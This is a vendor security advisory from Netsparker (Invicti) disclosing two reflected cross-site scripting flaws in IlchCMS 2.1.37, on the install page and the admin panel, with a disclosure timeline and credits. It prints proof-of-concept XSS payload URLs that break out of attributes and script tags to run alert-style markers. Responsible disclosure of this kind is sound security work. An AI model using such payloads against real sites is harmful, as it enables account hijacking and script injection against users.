Information
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Advisory by Netsparker (now Invicti)
Name: Cross-Site Scripting in IlchCMS
Affected Software: IlchCMS
Affected Versions: 2.1.37
Vendor Homepage: https://www.ilch.de/
Vulnerability Type: Cross-Site Scripting
Severity: Important
Status: Fixed
CVSS Score (3.0): 7.4 (High)
Invicti Advisory Reference: NS-20-003

Technical Details
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Cross-site Scripting in Install Page

URL: http://localhost:8001/ilch/index.php/install/index/indexx%22%20onmouseover=alert(0x003370)%20x=%22 
Parameter Name: URI-BASED  
Parameter Type: Full URL  
Attack Pattern: x%22+onmouseover%3dnetsparker(0x003370)+x%3d%22

Cross-site Scripting in Admin Panel

URL: http://127.0.0.1:8001/ilch/index.php/admin/?'"--></style></scRipt><scRipt>netsparker(0x0096E8)</scRipt>  
Notes: For successful exploitation, payload may need to be sent without URL encoding. Modern browsers will encode the HTML tags in the request before it is being sent to the webserver, however it is still possible in Internet Explorer.  
Proof URL: http://127.0.0.1:8001/ilch/index.php/admin/?'"--></style></scRipt><scRipt>alert(0x0096E8)</scRipt>  
Parameter Name: Query Based  
Parameter Type: Query String  
Attack Pattern: '"--></style></scRipt><scRipt>netsparker(0x0096E8)</scRipt>

For more information on cross-site scripting vulnerabilities read the article Cross-site Scripting (XSS).

Advisory Timeline
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1st September 2020 - First Contact
5th September 2020 - Vendor Fixed
10th September 2020 - Advisory Released

Credits & Authors
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These issues have been discovered by Omar Kurt while testing the Invicti Web Application Security Scanner.

About Invicti
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Invicti Security is transforming the way web applications are secured. Invicti empowers organizations in every industry to scale their overall security operations, make the best use of their security resources, and engage developers in helping to improve their overall security posture.